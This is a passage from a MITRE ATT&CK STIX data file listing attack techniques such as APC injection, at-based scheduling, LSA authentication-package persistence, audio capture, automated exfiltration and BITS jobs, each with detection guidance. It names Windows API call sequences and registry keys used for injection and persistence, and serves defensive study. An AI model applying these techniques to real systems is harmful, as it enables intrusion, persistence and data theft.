                    "source_name": "mitre-attack",
                    "external_id": "T1560.002",
                    "url": "https://attack.mitre.org/techniques/T1560/002"
                },
                {
                    "source_name": "PyPI RAR",
                    "url": "https://pypi.org/project/rarfile/",
                    "description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020."
                },
                {
                    "source_name": "libzip",
                    "url": "https://libzip.org/",
                    "description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020."
                },
                {
                    "source_name": "Zlib Github",
                    "url": "https://github.com/madler/zlib",
                    "description": "madler. (2017). zlib. Retrieved February 20, 2020."
                },
                {
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "source_name": "Wikipedia File Header Signatures"
                }
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Archive via Library",
            "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",
            "id": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-03-29T18:27:30.891Z",
            "created": "2020-02-20T21:08:52.529Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Script: Script Execution"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "created": "2020-02-20T21:01:25.428Z",
            "modified": "2020-03-25T21:54:37.374Z",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.\n\nSome 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.",
            "name": "Archive via Utility",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1560.001",
                    "url": "https://attack.mitre.org/techniques/T1560/001"
                },
                {
                    "source_name": "7zip Homepage",
                    "url": "https://www.7-zip.org/",
                    "description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020."
                },
                {
                    "source_name": "WinRAR Homepage",
                    "url": "https://www.rarlab.com/",
                    "description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020."
                },
                {
                    "source_name": "WinZip Homepage",
                    "url": "https://www.winzip.com/win/en/",
                    "description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020."
                },
                {
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "source_name": "Wikipedia File Header Signatures"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Creation"
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            "x_mitre_detection": "Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
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        {
            "id": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",
            "name": "Asymmetric Cryptography",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1573.002",
                    "url": "https://attack.mitre.org/techniques/T1573/002"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "source_name": "SANS Decrypting SSL"
                },
                {
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "source_name": "SEI SSL Inspection Risks"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2021-04-20T19:27:46.484Z",
            "created": "2020-03-16T15:48:33.882Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.004",
                    "url": "https://attack.mitre.org/techniques/T1055/004"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx",
                    "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
                    "source_name": "Microsoft APC"
                },
                {
                    "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/",
                    "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
                    "source_name": "CyberBit Early Bird Apr 2018"
                },
                {
                    "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows",
                    "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
                    "source_name": "ENSIL AtomBombing Oct 2016"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx",
                    "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
                    "source_name": "Microsoft Atom Table"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
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            ],
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "modified": "2020-11-10T18:29:30.961Z",
            "created": "2020-01-14T01:29:43.786Z",
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                "Anti-virus"
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            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Access"
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            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
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                    "source_name": "mitre-attack",
                    "external_id": "T1053.001",
                    "url": "https://attack.mitre.org/techniques/T1053/001"
                },
                {
                    "source_name": "Kifarunix - Task Scheduling in Linux",
                    "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/",
                    "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."
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            "name": "At (Linux)",
            "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.",
            "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e",
            "type": "attack-pattern",
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                    "phase_name": "execution"
                },
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                    "phase_name": "persistence"
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            ],
            "modified": "2020-03-23T22:35:13.112Z",
            "created": "2019-12-03T12:59:36.749Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_remote_support": true,
            "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Creation",
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_platforms": [
                "Linux"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1053.002",
                    "url": "https://attack.mitre.org/techniques/T1053/002"
                },
                {
                    "url": "https://twitter.com/leoloobeek/status/939248813465853953",
                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.",
                    "source_name": "Twitter Leoloobeek Scheduled Task"
                },
                {
                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
                    "source_name": "TechNet Forum Scheduled Task Operational Setting"
                },
                {
                    "url": "https://technet.microsoft.com/library/dd315590.aspx",
                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
                    "source_name": "TechNet Scheduled Task Events"
                },
                {
                    "source_name": "Microsoft Scheduled Task Events Win10",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
                    "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "At (Windows)",
            "description": "Adversaries may abuse the <code>at.exe</code> utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. \n\nAn adversary may use <code>at.exe</code> in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).\n\nNote: The <code>at.exe</code> command line utility has been deprecated in current versions of Windows in favor of <code>schtasks</code>.",
            "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-24T13:43:40.776Z",
            "created": "2019-11-27T13:52:45.853Z",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Creation",
                "Command: Command Execution",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_remote_support": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Audio Capture",
            "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1123",
                    "external_id": "T1123"
                },
                {
                    "external_id": "CAPEC-634",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/634.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-07-14T19:42:10.235Z",
            "created": "2017-05-31T21:31:34.528Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
            "name": "Authentication Package",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1131",
                    "url": "https://attack.mitre.org/techniques/T1131"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
                    "source_name": "MSDN Authentication Packages"
                },
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T15:43:25.280Z",
            "created": "2017-05-31T21:31:43.135Z"
        },
        {
            "id": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec",
            "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.",
            "name": "Authentication Package",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.002",
                    "url": "https://attack.mitre.org/techniques/T1547/002"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
                    "source_name": "MSDN Authentication Packages"
                },
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-25T15:11:25.821Z",
            "created": "2020-01-24T14:54:42.757Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2017-05-31T21:31:27.985Z",
            "modified": "2020-03-31T22:18:43.019Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Automated Collection",
            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1119",
                    "external_id": "T1119"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_system_requirements": [
                "Permissions to access directories and files that store information of interest."
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution",
                "Script: Script Execution"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Automated Exfiltration",
            "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1020",
                    "external_id": "T1020"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "modified": "2021-04-22T20:21:10.590Z",
            "created": "2017-05-31T21:30:29.458Z",
            "x_mitre_contributors": [
                "ExtraHop"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Script: Script Execution",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "File: File Access"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "BITS Jobs",
            "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1197",
                    "url": "https://attack.mitre.org/techniques/T1197"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
                    "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "source_name": "Microsoft BITS"
                },
                {
                    "url": "https://msdn.microsoft.com/library/aa362813.aspx",
                    "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.",
                    "source_name": "Microsoft BITSAdmin"
                },
                {
                    "url": "https://www.secureworks.com/blog/malware-lingers-with-bits",
                    "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.",
                    "source_name": "CTU BITS Malware June 2016"
                },
                {
                    "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/",
                    "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "source_name": "Mondok Windows PiggyBack BITS May 2007"
                },
                {
                    "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update",
